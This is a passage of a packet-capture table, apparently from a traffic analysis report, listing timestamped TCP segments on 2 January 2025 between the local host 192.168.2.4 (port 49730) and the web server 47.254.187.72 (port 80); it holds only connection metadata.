Jan 2, 2025 20:34:51.512290955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512300014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512311935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512322903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512331963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512336969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.512343884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512353897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512365103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512375116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512382984 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.512387037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.512402058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.512415886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.512458086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.513884068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.513895988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.513906956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.513917923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.513928890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.513940096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.513947964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.513951063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.513959885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.513978958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.514014959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.514753103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514770985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514782906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514792919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514803886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514806032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.514813900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514825106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514827967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.514834881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514846087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514856100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514872074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.514873981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514889956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514895916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.514905930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514915943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.514916897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514928102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514944077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.514955997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514966011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514976978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.514977932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.514988899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.515006065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.515069008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.515080929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.515091896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.515095949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.515100956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.515106916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.515129089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.515170097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.525044918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.525100946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.525111914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.525122881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.525134087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.525146008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.525146008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.525156975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.525176048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.525213003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.528204918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.528217077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.528227091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.528238058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.528249025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.528260946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.528276920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.528285027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.528287888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.528300047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.528309107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.528321981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.528343916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.530482054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.530493021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.530533075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.530540943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.530551910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.530564070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.530575037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.530581951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.530586958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.530596972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.530611992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.530637026 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.533122063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.533171892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.533217907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.533226967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.533237934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.533255100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.533257961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.533265114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.533291101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.533301115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.533302069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.533320904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.533344984 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.538388968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538399935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538415909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538428068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538438082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538448095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.538450003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538460970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538490057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.538513899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.538599014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538609028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538619995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538631916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538640976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538645029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.538681984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538697958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538702011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.538707972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538718939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538719893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.538732052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538750887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.538753033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.538779974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.539576054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.539628983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.539633036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.539638996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.539657116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.539666891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.539666891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.539678097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.539688110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.539699078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.539701939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.539724112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.539745092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.540865898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.540877104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.540894032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.540904045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.540915966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.540927887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.540930986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.540945053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.540951967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.540955067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.540992022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.593394995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.593420029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.593431950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.593442917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.593455076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.593456984 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.593466043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.593480110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.593485117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.593533039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.597717047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.597767115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.597784996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.597790956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.597796917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.597806931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.597810984 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.597822905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.597841978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.597855091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.597855091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.597867966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.597879887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.597891092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.597914934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.598895073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.598915100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.598925114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.598952055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.598979950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.599004984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599016905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599026918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599036932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599047899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599050999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.599062920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599078894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.599092007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.599092960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599103928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599114895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599124908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599140882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.599140882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599153042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599165916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.599184036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599189043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.599195957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.599230051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.600826979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.600841999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.600852966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.600862980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.600874901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.600883961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.600884914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.600897074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.600908041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.600914955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.600941896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.601788998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601800919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601811886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601825953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601844072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601849079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.601855040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601866007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601875067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601891994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601897955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.601902962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601913929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601919889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.601931095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601933002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.601942062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601952076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.601952076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601963997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601974964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.601986885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.602018118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.602039099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.602050066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.602060080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.602072954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.602082014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.602101088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.602102995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.602112055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.602127075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.602135897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.602138042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.602169991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.611830950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.611846924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.611865044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.611876011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.611881971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.611887932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.611897945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.611906052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.611910105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.611921072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.611942053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.611967087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.614983082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.615001917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.615011930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.615021944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.615044117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.615062952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.615067959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.615072966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.615089893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.615101099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.615102053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.615111113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.615114927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.615123034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.615150928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.615174055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.617332935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.617387056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.617393017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.617398024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.617408991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.617420912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.617420912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.617434025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.617448092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.617454052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.617480993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.617499113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.619975090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.619992971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.620003939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.620014906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.620026112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.620034933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.620037079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.620062113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.620075941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.620099068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.620109081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.620136976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.624977112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625036001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625046968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625057936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625067949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625080109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.625099897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625127077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.625138044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.625148058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625157118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625165939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625175953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625190020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.625201941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625211000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625216961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.625236034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625246048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625248909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.625277042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.625312090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625322104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625333071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625344992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625355005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625355959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.625365019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.625385046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.625406981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.627273083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.627286911 CET	80	49730	47.254.187.72	192.168.2.4
